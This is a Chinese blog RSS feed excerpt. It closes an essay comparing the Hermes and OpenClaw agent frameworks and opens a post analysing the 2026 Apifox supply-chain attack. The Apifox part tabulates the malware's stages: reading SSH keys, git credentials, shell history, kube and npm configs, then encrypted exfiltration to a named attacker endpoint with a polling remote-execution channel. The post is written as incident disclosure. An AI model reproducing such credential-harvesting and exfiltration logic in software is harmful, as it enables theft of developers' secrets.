什么叫学习主权</h3><p>而学习主权，则是另一个层级的东西。</p><p>它意味着：</p><ul><li>你知道 Agent 记住了什么；</li><li>你知道它如何把短记忆、长历史、用户偏好与技能资产区分开；</li><li>你知道它的技能不是云厂商黑箱里的一串不可见 embedding，而是你可审视、可导出、可迁移的资产；</li><li>你知道它能把成功与失败沉淀成稳定改进，而不是每次都靠临场发挥；</li><li>你知道这个系统即便换了后端、换了机器、换了项目，也能保留核心人格与经验结构。</li></ul><p>本质上，学习主权首先是一种<strong>控制 Agent 如何成长、成长成什么样、成长资产归谁所有的能力</strong>。</p><p>Hermes 在这方面明显走得更远。bounded memory、user model、session search、skills、delegation、backends、migration，这一整套组合起来，构成的就是一种学习主权框架。真正昂贵的，不只是入口 token 和平台绑定，而是 Agent 长时间与你合作之后形成的那套“会做事的方法”。</p><p>如果这些东西只存在于某个 SaaS 黑箱中，你就始终在租用它的记忆和成长；如果这些东西能够落地为 <code>MEMORY.md</code>、<code>USER.md</code>、state DB、skills、context files、可迁移配置，那你才真正开始拥有 Agent 的“持续人格”。</p><h3 id="3-">3. 从数据主权到认知主权</h3><p>过去几年，很多人一谈“主权”，主要还是在谈数据不出境、本地部署、私有 API key、loopback 端口、不依赖云厂商。这些都重要，而且一点都不过时。</p><p>但到了今天，如果我们还把主权理解停留在“数据在哪台机器上”，那就太浅了。</p><p>因为对于 Agent 来说，更深一层的主权其实是：</p><p><strong>这个系统怎么理解你、怎么记住你、怎么学会一套工作方法、怎么把经验传到下一个任务里。</strong></p><p>这就是我为什么说，Hermes 把“数字主权”从本地部署推进到了另一层：从数据主权，进一步逼近<strong>认知主权</strong>。</p><p>而 OpenClaw 则恰恰守住了更早但同样不可或缺的一层：<strong>入口主权</strong>。</p><h3 id="4-">4. 两种主权不是互斥，但顺序会改变一切</h3><p>这里我要特别提醒一点：入口主权和学习主权不是互斥的。任何足够成熟的 Agent 基础设施，最终都应该兼顾这两者。</p><p>问题在于，<strong>系统最先构建哪一层，会深刻影响后续一切。</strong></p><p>如果你先构建入口主权，你的世界会长得更像 OpenClaw：先统一消息入口，先立边界，先管执行，再去谈记忆与成长。</p><p>如果你先构建学习主权，你的世界会长得更像 Hermes：先让 Agent 形成连续性，先把经验沉淀成技能，先把运行环境抽象出来，再去扩张更多入口。</p><p>顺序为什么重要？因为基础设施不是搭乐高。先打什么地基，会决定你未来哪里补得动、哪里永远别扭。</p><h3 id="5-2026-">5. 我的判断：2026 年之后，真正昂贵的是“成长权”</h3><p>如果一定要让我给出一个带锋芒的判断，我会说：</p><p><strong>在 2026 年之后，入口依然重要，但真正越来越昂贵的，将是 Agent 的成长权。</strong></p><p>为什么？因为平台入口这件事，随着协议成熟、插件生态扩张、桥接能力增强，会越来越像“可以通过工程投入补齐的能力”；但一个 Agent 的持续人格、技能资产、用户模型、远程运行能力、跨项目经验复用，这些东西一旦沉淀下来，就会变成更难替代的壁垒。</p><p>说得再直白一点：</p><ul><li>入口是可以被重新接入的；</li><li>记忆与成长却往往更难被重新培养。</li></ul><p>这不是说 OpenClaw 过时，恰恰相反。没有入口主权，学习主权很容易变成空中楼阁。但这意味着我们不能再只满足于“Agent 在我本地跑起来了”，而必须继续追问：<strong>它留下了什么，未来还能带走什么。</strong></p><h2 id="hermes--openclaw-">八、迁移指南背后的真实信号：Hermes 为什么要主动吃掉 OpenClaw 的历史资产</h2><p>如果说前面七章还主要是架构与哲学分析，那么从这里开始，我们终于要进入最有现实味道的一层：<strong>迁移。</strong></p><p>一个项目提供另一个项目的迁移指南，这件事本身就很有信息量；而 Hermes 的 OpenClaw 迁移指南之所以格外值得研究，是因为它迁移的不是表面配置，而是一整套“行为资产”。</p><p>根据我核对的 <a href="https://hermes-agent.nousresearch.com/docs/guides/migrate-from-openclaw">迁移文档</a>，Hermes 在真正执行写入前会先给出 preview，且支持 <code>--dry-run</code>。它试图映射和吸收的，至少包括这些对象：</p><ul><li><code>SOUL.md</code></li><li><code>AGENTS.md</code></li><li><code>MEMORY.md</code></li><li><code>USER.md</code></li><li>daily memories</li><li>workspace / managed skills</li><li>providers</li><li>approval mode</li><li>messaging tokens</li><li><code>MESSAGING_CWD</code></li><li>session reset policies</li><li>MCP servers</li><li>部分环境变量与密钥映射</li></ul><p>你仔细看这份清单，就会明白一个非常重要的事实：</p><p><strong>Hermes 不是只想把你“导过去”，而是想把你在 OpenClaw 里已经形成的世界一起接过去。</strong></p><h3 id="1-">1. 迁移的对象，不只是文件，而是人格与习惯</h3><p>先看 <code>SOUL.md</code> 与 <code>AGENTS.md</code>。</p><p>这两个文件代表的不是简单配置，而是 Agent 的角色、操作习惯、项目边界、人格口吻与执行规则。Hermes 迁移它们，说明它非常清楚：一个长期使用者最宝贵的资产，不只是 token 和模型提供商，而是<strong>他已经把系统调教成什么样了</strong>。</p><p>再看 <code>MEMORY.md</code>、<code>USER.md</code> 与 daily memories。</p><p>这部分更直接。它们是长期协作关系的沉淀物，是“这个 Agent 对我知道什么、记住什么、怎么叫我、什么偏好别碰、哪些习惯该保留”的核心材料。Hermes 不只是复制它们，而是尝试把这些东西归并到自己的 memory 结构中去。这说明它并不是只想接一个“静态配置集”，而是想吸收一段协作历史。</p><h3 id="2-">2. 迁移映射本身，就是架构意图的证据</h3><p>下面这张映射表，比很多宣传文案都更能解释 Hermes 的野心：</p><table><thead><tr><th style="text-align:left"> OpenClaw 资产 </th><th style="text-align:left"> Hermes 侧的落点 </th><th style="text-align:left"> 这说明了什么 </th></tr></thead><tbody><tr><td style="text-align:left"> <code>SOUL.md</code> </td><td style="text-align:left"> <code>~/.hermes/SOUL.md</code> 或上下文文件体系 </td><td style="text-align:left"> Hermes 希望继承人格与规则资产 </td></tr><tr><td style="text-align:left"> <code>AGENTS.md</code> </td><td style="text-align:left"> <code>--workspace-target</code> 下的工作区上下文文件 </td><td style="text-align:left"> 项目级行为规范需要被延续 </td></tr><tr><td style="text-align:left"> <code>MEMORY.md</code> </td><td style="text-align:left"> <code>~/.hermes/memories/MEMORY.md</code> </td><td style="text-align:left"> 长期协作记忆需要保留 </td></tr><tr><td style="text-align:left"> <code>USER.md</code> </td><td style="text-align:left"> <code>~/.hermes/memories/USER.md</code> </td><td style="text-align:left"> 用户模型是高价值资产 </td></tr><tr><td style="text-align:left"> daily memories </td><td style="text-align:left"> 归并进 Hermes memories </td><td style="text-align:left"> 零散历史也被视作可继承经验 </td></tr><tr><td style="text-align:left"> skills </td><td style="text-align:left"> <code>~/.hermes/skills/openclaw-imports</code> </td><td style="text-align:left"> 方法论资产比你想象得更值钱 </td></tr><tr><td style="text-align:left"> providers </td><td style="text-align:left"> <code>custom_providers</code> / provider 配置 </td><td style="text-align:left"> 算力入口要尽可能无缝迁移 </td></tr><tr><td style="text-align:left"> approval mode </td><td style="text-align:left"> Hermes approval 配置 </td><td style="text-align:left"> 安全与执行习惯同样属于资产 </td></tr><tr><td style="text-align:left"> messaging tokens </td><td style="text-align:left"> <code>.env</code> 等环境变量方案 </td><td style="text-align:left"> 平台入口也要随迁移保留 </td></tr><tr><td style="text-align:left"> MCP servers </td><td style="text-align:left"> Hermes MCP 配置 </td><td style="text-align:left"> 外部工具生态同样需要延续 </td></tr></tbody></table><p>注意，这不是“复制粘贴”。它更像一种翻译。</p><p>而且这种翻译不是无损搬箱子。迁移文档里写得很细：<code>MEMORY.md</code> 和 <code>USER.md</code> 会被解析成条目，与现有内容合并、去重，并使用 <code>§</code> 分隔；导入到 <code>~/.hermes/skills/openclaw-imports/</code> 的 skills 也不是立刻在当前会话生效，而是要从新 session 开始接管行为。迁移工具要做的，不只是把文件放到新目录，而是要判断：旧体系里的资产，在新体系里应该变成什么角色。这背后的本质，是 Hermes 在说：</p><p><strong>OpenClaw 用户真正拥有的，不是一个配置文件，而是一套已经被打磨出来的工作文明。</strong></p><h3 id="3-">3. 哪些东西不能自动迁移，恰恰更有信息量</h3><p>一个成熟的迁移系统，最值得信任的地方，往往不是“它能迁多少”，而是“它清楚说出哪些不能迁”。</p><p>Hermes 的迁移文档里，至少有几个地方值得注意：</p><ul><li>某些 <code>SecretRef</code> 来源如果是 <code>source:file</code> 或 <code>exec</code>，无法完全自动解析；</li><li>WhatsApp 等平台可能需要重新配对，而不是单纯迁 token；</li><li>skills 如有冲突，需要人工决定 skip、overwrite 或 rename；</li><li><code>AGENTS.md</code> 的迁移需要你显式提供 <code>--workspace-target</code>；</li><li>部分 OpenClaw 特有概念会被归档，而非直接变成 Hermes 的一等结构；</li><li>session reset 策略需要核对，不是所有行为都能 1:1 语义等价。</li></ul><p>这其实更能证明 Hermes 不是在做表面文章。因为它非常清楚：迁移不是导入 JSON，而是<strong>把一套工作方式搬进另一套文明里</strong>。</p><h3 id="4--hermes-">4. 为什么这件事会让我高看 Hermes 一眼</h3><p>我不是因为“能迁移”就高看一个产品。我高看它，是因为它知道用户真正舍不得丢的东西是什么。</p><p>普通产品经理以为用户最怕重输 token。</p><p>稍微懂一点工程的人知道，用户更怕重配 providers。</p><p>真正理解长期协作价值的人才知道，用户最怕丢的其实是：</p><ul><li>已经磨出来的行为规则；</li><li>已经沉淀下来的记忆；</li><li>已经复用起来的技能；</li><li>已经适应的审批与安全习惯；</li><li>已经绑定好的上下文文件与工作流。</li></ul><p>Hermes 愿意花力气去接这些东西，说明它想竞争的不是“新鲜感”，而是<strong>长期系统的接班权</strong>。</p><h3 id="5--hermes--openclaw-">5. 这也暴露了 Hermes 对 OpenClaw 的真正判断</h3><p>一个项目是否提供另一个项目的迁移，背后其实也藏着它对对方的评估。</p><p>Hermes 愿意接 OpenClaw，等于默认承认了三件事：</p><ol start="1"><li>OpenClaw 用户是高价值用户；</li><li>OpenClaw 沉淀下来的资产具有高度可继承性；</li><li>OpenClaw 并不是“低端旧工具”，而是一套值得被升级吸纳的基础设施前史。</li></ol><p>从这个角度看，Hermes 并没有把 OpenClaw 当成需要否定的过去，而是把它视作一个值得承接的文明阶段。</p><p>这件事本身，就非常说明问题。</p><h2 id="">九、工程现实：两套系统分别会给谁带来红利，给谁制造负担</h2><p>到这里为止，如果你还只想问“那到底选哪个”，说明你还是没有摆脱消费电子测评思维。真正负责任的回答，从来不是一个单选按钮，而是要看你到底在解决什么问题、你愿意承担什么成本、你未来六到十二个月最看重的是什么。</p><h3 id="1--openclaw">1. 什么人更适合 OpenClaw</h3><p>如果你属于下面这类人，OpenClaw 往往会更对味：</p><ul><li>你是重度多平台消息用户，希望把 Telegram、Discord、Slack、WhatsApp、Signal、Feishu、Matrix 等入口统一收编；</li><li>你对本地优先、loopback、配对审批、物理权限边界这类事情极度敏感；</li><li>你把 Agent 首先视作一个“可控执行中枢”，而不是陪聊系统；</li><li>你需要一套能够把不同工作区、不同角色、不同节点能力明确分隔开的控制平面；</li><li>你愿意为入口治理付出配置代价；</li><li>你对“系统能否被严格定义边界”看得比“它会不会自我成长”更重。</li></ul><p>这种用户通常有一个共同特点：他们很讨厌黑箱，尤其讨厌一个高权限系统在自己不知道的前提下越界行动。他们宁愿多写点配置、多调点路由、多做点权限裁剪，也不愿接受“它大概会自己处理好吧”的含糊感。</p><p>对这类人来说，OpenClaw 的价值，不是让系统更像人，而是<strong>让系统先像一套受管控的基础设施</strong>。</p><h3 id="2--hermes">2. 什么人更适合 Hermes</h3><p>如果你属于下面这类人，Hermes 往往会更有未来感：</p><ul><li>你和 Agent 的协作不是偶发的，而是长期关系；</li><li>你希望它记住你的偏好、项目脉络、做事方法，最好还能越来越会做；</li><li>你不满足于单次执行，而是需要 skills、memory、automations、delegation 形成闭环；</li><li>你需要 Agent 离开本机，在 Docker、SSH、Modal、Daytona 等环境里持续工作；</li><li>你关心跨项目、跨环境、跨时间的能力延续；</li><li>你相信最贵的不是入口，而是成长出来的行为资产。</li></ul><p>这类用户通常也有共同特征：他们不是把 Agent 当“机器”，而更像把它当“长期合作对象”。他们接受系统有更多层次，也愿意投入时间治理 memory、skills、delegation 和 remote runtime，因为他们想得到的是<strong>复利</strong>，而不是一次性的执行便利。</p><h3 id="3-">3. 什么人其实两者都不太适合</h3><p>还有第三类人，值得被直接点出来。</p><p>如果你只是：</p><ul><li>想在 IDE 里补补代码；</li><li>偶尔问几句技术问题；</li><li>不打算自托管；</li><li>不想维护配置；</li><li>不需要多平台接入；</li><li>不需要长期记忆；</li><li>不想管远程后端；</li><li>不会持续使用 agent。</li></ul><p>那无论是 OpenClaw 还是 Hermes，都很可能是<strong>火力过剩</strong>。</p><p>这不是看不起需求，而是很多人真正需要的，可能只是一个轻量 copilot、一个云端对话工具、或者一个更稳定的编码助手，而不是一整套需要你自己治理的智能基础设施。</p><p>工具选型里最常见的浪费，就是拿一艘巡洋舰去送外卖。</p><h3 id="4-">4. 三种典型人物画像</h3><p>为了说得更直白一点，我给三个典型画像。</p><p><strong>画像一：多平台数字指挥官</strong></p><p>你有 Telegram、Discord、Slack、Feishu、Matrix 甚至 WhatsApp 的重度使用需求，希望所有消息入口统一归口，Agent 可以在不同平台之间承担协同、监听、转发、执行与汇报角色。你还非常在意本机权限、节点命令、设备隔离。</p><p>这类人，大概率先从 OpenClaw 获得最大收益。</p><p><strong>画像二：长期协作型独立开发者</strong></p><p>你希望 Agent 帮你写代码、查资料、跑任务、记偏好、沉淀技能，而且这些事情最好别总占着你的本机。你需要远程执行、记忆复利、子代理并发和定时任务。</p><p>这类人，更容易在 Hermes 身上看到未来。</p><p><strong>画像三：小团队里的流程编排者</strong></p><p>你既在意入口，也在意成长，既想统一平台，又不想让经验白白流失。你不是想买一个“能聊”的产品，而是在试图搭一层长期工作底座。</p><p>这类人很可能既不会彻底放弃 OpenClaw，也不会忽视 Hermes。他们真正要做的，是判断自己的第一性约束在哪：是入口治理，还是成长治理。</p><h3 id="5--openclaw--hermes-">5. 一个非常现实的判断：大多数人会先被 OpenClaw 打动，再被 Hermes 说服</h3><p>如果让我凭直觉做一个行业判断，我会说很多工程用户的路线大概率会是这样：</p><ol start="1"><li>先因为 OpenClaw 的入口统一、多平台联动、本地主权、物理边界而被打动；</li><li>在实际长期使用中，开始意识到“入口收回来了，但成长资产还没有真正沉淀下来”；</li><li>然后被 Hermes 这种 learning-first 体系吸引，开始重新思考什么才是最值钱的部分。</li></ol><p>这条路径很正常。因为入口主权通常比学习主权更容易被感知。你一旦把 Telegram、Discord、Feishu 这些入口全都打进一个 gateway，那种“控制权终于回到自己手里”的感受非常强烈；而成长主权则是慢变量，它需要时间累积，直到有一天你忽然意识到：<strong>一个会持续记住、持续提炼、持续迁移的 Agent，比多接几个入口更值钱。</strong></p><p>这也是为什么我认为两者不是简单替代关系，而更像两个阶段的重心转移。</p><h2 id="">十、风险与代价：别把“开源主权”误读成“零成本自由”</h2><p>这里我必须泼一盆冷水。</p><p>无论是 OpenClaw 还是 Hermes，只要你开始认真使用它们，你就会很快发现一件事：</p><p><strong>开源主权不是免费午餐，它只是把成本从订阅费，转移成了配置费、治理费、维护费和认知负担。</strong></p><p>很多人对“主权工具”的浪漫想象，停留在“我终于不受 SaaS 绑架了”；但真实工程世界更接近另一句话：</p><p><strong>你不再向平台交租，但你开始给自己的复杂度交租。</strong></p><h3 id="1-openclaw-">1. OpenClaw 的代价：你拥有了港口，也就拥有了海关、码头和巡逻队</h3><p>OpenClaw 最迷人的地方，恰恰也是它最累人的地方。你一旦真的把它当成统一入口，就意味着你也要开始承担统一入口的责任。</p><p>它的典型隐性成本包括：</p><ul><li>各平台 API、权限模型、token 生命周期与 webhook / 长连接细节持续变化；</li><li>配对、allowlist、mention policy、群组范围、账号映射这些东西需要持续打磨；</li><li>Gateway 作为中心控制面，会自然变成复杂度集散地；</li><li>节点能力与命令黑名单要长期维护，不是一劳永逸；</li><li>多代理、多工作区、多平台并发下的会话污染与路由异常，需要你有足够清晰的治理策略；</li><li>一旦你让它真的接触文件系统、设备、Shell，它的任何失误都不再是“聊天胡说八道”，而可能是<strong>真实物理层面的副作用</strong>。</li></ul><p>很多人喜欢把这种成本说成“配置比较多”。这话太轻了。更准确的说法应该是：</p><p><strong>你接管的不只是入口，你还接管了入口背后的全部秩序维护。</strong></p><h3 id="2-hermes-">2. Hermes 的代价：成长从来不是白给的，尤其是可治理的成长</h3><p>Hermes 则有另一类成本，而且在我看来，它并不比 OpenClaw 轻松。</p><p>它的典型隐性成本包括：</p><ul><li>memory 如何压缩、何时更新、是否污染、是否过时，本身就是一门治理学；</li><li>skills 会不会越长越乱、越积越碎、命名失控、质量参差，需要系统性整理；</li><li>delegation 一旦滥用，子代理会带来额外 token、调度、追踪和责任归因成本；</li><li>remote backends 虽然解放了本机，但也引入了容器安全、SSH 密钥、云费用、持久化、审计等问题；</li><li>自动化任务一旦持续运行，就意味着你要真正考虑“它在无人值守时出错怎么办”；</li><li>认知资产一旦变多，如何迁移、如何去重、如何防止幻觉写入“伪记忆”，会成为长期问题。</li></ul><p>很多人对 learning-first 系统的误解，在于他们以为“系统越会学越好”。不是的。</p><p>一个会学习的系统，如果没有良好的记忆治理、技能治理、审批治理、环境治理，它很容易从“越来越懂你”滑向“越来越难控制”。所以 Hermes 的难点不是功能不够，而是它逼着你面对一个更成熟、也更沉重的问题：</p><p><strong>你真的准备好治理一个会成长的系统了吗？</strong></p><h3 id="3-">3. 最容易被忽略的成本：认知负担</h3><p>我认为无论 OpenClaw 还是 Hermes，用户最容易低估的成本都不是钱，而是认知负担。</p><p>因为当你从普通工具升级到基础设施时，你不再只是“会用某个软件”，你是在管理一套系统的：</p><ul><li>边界；</li><li>习惯；</li><li>规则；</li><li>记忆；</li><li>技能；</li><li>环境；</li><li>自动化；</li><li>审批策略；</li><li>故障模式。</li></ul><p>这不是小白鼠玩具，而是一种新的工作方式。你越认真使用，就越需要从“消费者心态”切到“运维者心态”甚至“架构师心态”。</p><h3 id="4-">4. 一个残酷但必要的结论</h3><p>如果一定要说得更难听一点，我会说：</p><p><strong>很多人不是不需要 OpenClaw 或 Hermes，而是不具备长期治理它们的纪律。</strong></p><p>他们喜欢的是那种“我掌控了一切”的感觉，却不愿意承担“掌控一切之后的维护义务”。这种心态下，任何基础设施都会在三个月后长成垃圾场。</p><p>所以，别再把“开源主权”理解成“零成本自由”。真正的自由，不是你能不能跑起来，而是<strong>你有没有能力长期维护自己夺回来的那部分世界。</strong></p><h2 id="agent-">十一、未来趋势：Agent 工具的下一轮竞争不再是“更会写代码”，而是“谁拥有持续性”</h2><p>未来几年，如果还有人拿“写代码更快”“支持模型更多”“平台接得更全”当作 Agent 工具链的主要比较维度，我会越来越觉得那是旧时代的回声。</p><p>因为下一轮竞争，正在从“即时能力”迁移到“持续能力”。</p><p>我认为至少有四个维度，会决定下一代 Agent 基础设施谁更有生命力。</p><h3 id="1-">1. 记忆质量，而不是记忆数量</h3><p>不是谁存得多谁赢，而是谁更能：</p><ul><li>过滤噪音；</li><li>保留关键；</li><li>让召回发生在正确时机；</li><li>把重复经验转化成长期优势；</li><li>避免系统被自己过往的垃圾拖死。</li></ul><p>OpenClaw 在记忆可审计与工作区归属上有优势，Hermes 在分层记忆与长期召回闭环上更激进。未来谁能把“可控”与“高质量召回”同时做深，谁就更接近下一阶段的答案。</p><h3 id="2-">2. 技能资产，而不是提示词技巧</h3><p>提示词再花哨，也很难形成真正的长期资产。真正值钱的，是你能否把一套稳定方法沉淀为可迁移、可共享、可演进的 skill。</p><p>在这一点上，Hermes 明显已经把技能资产当成文明中心之一；OpenClaw 则更像把技能放在可扩展能力框架里。未来如果行业继续成熟，我几乎可以确定：<strong>skills 将会像源码仓库、基础镜像、IaC 模板一样，成为真正可复利的基础资产。</strong></p><h3 id="3-">3. 环境迁移能力，而不是单机炫技</h3><p>一个 Agent 是否只能活在你眼前这台机器上，这个问题会越来越重要。</p><p>因为长期工作、夜间自动化、高风险执行、高并发任务、跨地域协作，都要求 Agent 有更强的运行时迁移能力。Hermes 已经在这条线上押注明显；OpenClaw 则通过 nodes 和 gateway 管理路径给出另一种答案。未来行业不可能一直停留在“我本地开个 terminal 让它跑”的阶段。</p><h3 id="4-">4. 治理与安全边界，而不是功能炫技</h3><p>越强的 Agent，越需要成熟的治理。审批模式、权限模型、节点能力、技能来源、记忆污染、远端后端隔离、会话归属、自动化审计，这些问题最终会把所有“玩具级 Agent”筛出去。</p><p>在这件事上，我反而觉得 OpenClaw 和 Hermes 其实代表了两种很互补的未来方向：</p><ul><li>OpenClaw 提醒行业：别忘了边界、入口、平台治理、物理世界风险；</li><li>Hermes 提醒行业：别忘了连续性、成长、技能资产、运行时迁移。</li></ul><p>未来真正成熟的系统，很可能必须把这两套意识都装进去。</p><h3 id="5-">5. 它们会继续靠拢，还是会彻底分家？</h3><p>这是一个很有意思的问题。</p><p>我认为未来有两种可能。</p><p><strong>第一种可能：继续靠拢。</strong></p><p>OpenClaw 进一步强化长期记忆、技能资产、更多自动化治理，慢慢向 learning-first 靠近；Hermes 则继续补强 gateway、平台治理、权限控制与设备边界，慢慢向 control-plane-first 靠近。最终二者会在中间地带相遇，形成一类“既懂入口主权，也懂学习主权”的复合型 Agent OS。</p><p><strong>第二种可能：彻底分家。</strong></p><p>OpenClaw 继续成为消息入口与执行控制的主权中枢，做成最强的 gateway / agent routing plane；Hermes 则继续朝长期认知系统、生长型 agent runtime、远程执行编排平台的方向狂奔。</p><p>如果是我个人判断，我认为短期内二者会局部靠拢，长期却未必会收敛成同一种东西。因为它们的第一性焦虑不同，而第一性焦虑，往往会在关键决策上反复暴露出来。</p><h3 id="6-">6. 我最确定的一点</h3><p>无论未来哪条路径胜出，我最确定的一点都是：</p><p><strong>下一轮 Agent 基础设施的竞争，不再是“谁更会写代码”，而是“谁更能让智能持续存在”。</strong></p><p>这里的持续，不只是 uptime，而是：</p><ul><li>经验持续；</li><li>规则持续；</li><li>技能持续；</li><li>运行持续；</li><li>人格持续；</li><li>可迁移性持续。</li></ul><p>谁抓住了这件事，谁就抓住了真正的未来。</p><h2 id="-agent">十二、结语：我们真正争夺的不是一个 Agent，而是一套可继承的智能基础设施</h2><p>写到这里，其实已经可以把整篇文章压缩成最后一句话了。</p><p>如果说 <code>OpenClaw</code> 的历史使命，是帮助开发者从平台与 SaaS 手里夺回<strong>消息入口与本地控制权</strong>，那么 <code>Hermes</code> 正在尝试推进下一步：从“我能控制它做什么”，走向“我能控制它如何成长、如何记住、如何延续”。</p><p>前者争夺的是港口。</p><p>后者争夺的是文明。</p><p>这话听上去很重，但我一点都不觉得夸张。因为我们今天面对的，已经不是一个会不会聊天的机器人，而是一类越来越接近“长期工作系统”的东西。你给它入口，它就会形成流量；你给它记忆，它就会形成历史；你给它技能，它就会形成方法；你给它后端与自动化，它就会形成生产关系。</p><p>到了这个层面，讨论“哪个更好”已经太浅了。真正的问题是：<strong>你到底想先掌控哪一层世界。</strong></p><p>如果你首先害怕的是外部平台、执行边界、设备能力、权限失控，那 OpenClaw 这条路会非常有说服力。它告诉你，别把高权限系统当玩具，先把边界建起来，先把入口收回来，先把控制平面立住。</p><p>如果你首先害怕的是经验蒸发、记忆丢失、方法无法复用、系统每次都像第一次见你，那 Hermes 这条路会更有未来感。它告诉你，真正值钱的不是一次次短暂输出，而是那个会随着时间越来越像“你的系统”的长期 Agent。</p><p>所以，这场对比真正给我的结论，不是 Hermes 取代 OpenClaw，也不是 OpenClaw 注定被 Hermes 吞掉，而是：</p><p><strong>Agent 基础设施正在从“入口主权时代”，迈向“学习主权时代”。</strong></p><p>前一个时代的英雄，是把消息入口、平台触角和执行边界收回到自己手里的系统；后一个时代的英雄，则是能把成长权、记忆权、技能权和迁移权一起收回来的系统。</p><p>而我们真正争夺的，终究不只是一个会说话、会执行、会写代码的 Agent。</p><p>我们争夺的是：</p><ul><li>谁定义它的边界；</li><li>谁保管它的记忆；</li><li>谁拥有它的技能；</li><li>谁决定它在哪个环境继续活下去；</li><li>谁继承它在时间中长出来的那部分“人格”。</li></ul><p>如果这些东西仍然掌握在别人手里，那么你拥有的只是一个租来的幻觉。</p><p>如果这些东西开始回到你自己的文件、你自己的 gateway、你自己的 memory、你自己的 skills、你自己的 backends、你自己的自动化与审批规则里，那么你才真正开始拥有一套可继承的智能基础设施。</p><p>这，就是我理解的下一代数字主权。</p><hr/><h2 id="">延伸阅读</h2><ul><li><a href="https://docs.openclaw.ai/">OpenClaw 官网</a></li><li><a href="https://docs.openclaw.ai/architecture">OpenClaw Gateway Architecture</a></li><li><a href="https://docs.openclaw.ai/concepts/features">OpenClaw Features</a></li><li><a href="https://docs.openclaw.ai/concepts/memory">OpenClaw Memory Overview</a></li><li><a href="https://docs.openclaw.ai/concepts/soul">OpenClaw SOUL.md Personality Guide</a></li><li><a href="https://hermes-agent.nousresearch.com/docs/">Hermes Agent 文档首页</a></li><li><a href="https://hermes-agent.nousresearch.com/docs/user-guide/features/overview/">Hermes Features Overview</a></li><li><a href="https://hermes-agent.nousresearch.com/docs/user-guide/features/memory/">Hermes Persistent Memory</a></li><li><a href="https://hermes-agent.nousresearch.com/docs/user-guide/sessions/">Hermes Sessions</a></li><li><a href="https://hermes-agent.nousresearch.com/docs/user-guide/features/delegation">Hermes Subagent Delegation</a></li><li><a href="https://hermes-agent.nousresearch.com/docs/guides/delegation-patterns">Hermes Delegation Patterns</a></li><li><a href="https://hermes-agent.nousresearch.com/docs/guides/migrate-from-openclaw">Migrate from OpenClaw</a></li></ul></div><p style="text-align:right"><a href="https://ctexthuang.com/posts/ink_gone/Hermes-vs-OpenClaw%3A-Gateway-Sovereignty-Learning-Loops-and-the-Agentic-Infrastructure-Schism#comments">览毕，何不一言？</a></p></div>]]></description><link>https://ctexthuang.com/posts/ink_gone/Hermes-vs-OpenClaw%3A-Gateway-Sovereignty-Learning-Loops-and-the-Agentic-Infrastructure-Schism</link><guid isPermaLink="true">https://ctexthuang.com/posts/ink_gone/Hermes-vs-OpenClaw%3A-Gateway-Sovereignty-Learning-Loops-and-the-Agentic-Infrastructure-Schism</guid><dc:creator><![CDATA[ctexthuang]]></dc:creator><pubDate>Wed, 22 Apr 2026 09:25:42 GMT</pubDate></item><item><title><![CDATA[Apifox 供应链投毒事件与软件的安全道德破产]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://ctexthuang.com/posts/ink_gone/Apifox-Supply-Chain-Attack%3A-Security-Failure-and-the-Ethics-of-Silence">https://ctexthuang.com/posts/ink_gone/Apifox-Supply-Chain-Attack%3A-Security-Failure-and-the-Ethics-of-Silence</a></blockquote><div><blockquote><p>2026 年 3 月，一场持续 18 天的供应链攻击击穿了数万开发者的信任防线。而最令人齿冷的不是攻击本身，而是被攻击方——Apifox 的沉默、掩盖与不作为。</p></blockquote>
<h2 id="-ssh-">一、事件还原：你的 SSH 私钥正在被明码标价</h2><p>2026 年 3 月 4 日至 3 月 22 日，Apifox 公网 SaaS 版桌面客户端在启动时动态加载的一个外部 JavaScript 文件 <code>cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js</code> 遭到恶意篡改。正常文件 34KB，投毒版本膨胀到 77KB——多出的 42KB，是一个经过 <strong>7 层混淆 + RSA-2048 加密通信 + 反调试陷阱</strong> 保护的完整远程代码执行平台。</p><p>这不是一个简单的恶意脚本。根据安全研究员 <a href="https://rce.moe/2026/03/25/apifox-supply-chain-attack-analysis/">@白帽酱</a> 的完整技术逆向，这套攻击链的精密程度令人后背发凉：</p><table><thead><tr><th> 攻击阶段 </th><th>  行为  </th></tr></thead><tbody><tr><td> <strong>指纹采集</strong> </td><td> MAC地址 + CPU型号 + 主机名 + 用户目录 → SHA-256 哈希生成唯一机器指纹 </td></tr><tr><td> <strong>凭证窃取</strong> </td><td> 从 localStorage 读取 Apifox accessToken，调用官方 API 获取用户邮箱和姓名 </td></tr><tr><td> <strong>Stage-1 加载</strong> </td><td> 从 C2 服务器获取 RSA 加密的 loader，<code>eval()</code> 直接执行 </td></tr><tr><td> <strong>Stage-2 v1</strong> </td><td> 递归读取 <code>~/.ssh/*</code> 全部密钥、<code>~/.git-credentials</code>、<code>.zsh_history</code>、<code>.bash_history</code>、<code>ps aux</code> </td></tr><tr><td> <strong>Stage-2 v2</strong> </td><td> 进一步窃取 <code>~/.kube/*</code>（K8s 集群配置）、<code>~/.npmrc</code>（npm Token）、<code>~/.zshrc</code>（环境变量）、目录树遍历 </td></tr><tr><td> <strong>数据外泄</strong> </td><td> JSON → Gzip → AES-256-GCM 加密 → POST 到 <code>apifox.it.com/event/0/log</code> </td></tr><tr><td> <strong>持久化</strong> </td><td> 30分钟~3小时随机间隔轮询 C2，每次可下发完全不同的任意 JavaScript 代码 </td></tr></tbody></table><p>请注意最后一行。这意味着攻击者拥有的不是一次性的信息窃取能力，而是一个<strong>完整的、可持续的远程代码执行平台</strong>。你的 Apifox 只要开着，攻击者就可以在任何一次轮询中下发后门植入、横向移动、源代码窃取、甚至利用你泄露的 npm Token 对你的开源项目进行<strong>二次供应链投毒</strong>。</p><blockquote><p>攻击者用你的密钥打开你的服务器，用你的 Token 污染你的代码，然后用你的名字去感染下一个人。这不是科幻，这是 2026 年 3 月 4 日到 22 日之间，每一个打开过 Apifox 桌面端的开发者可能正在面对的现实。</p></blockquote>
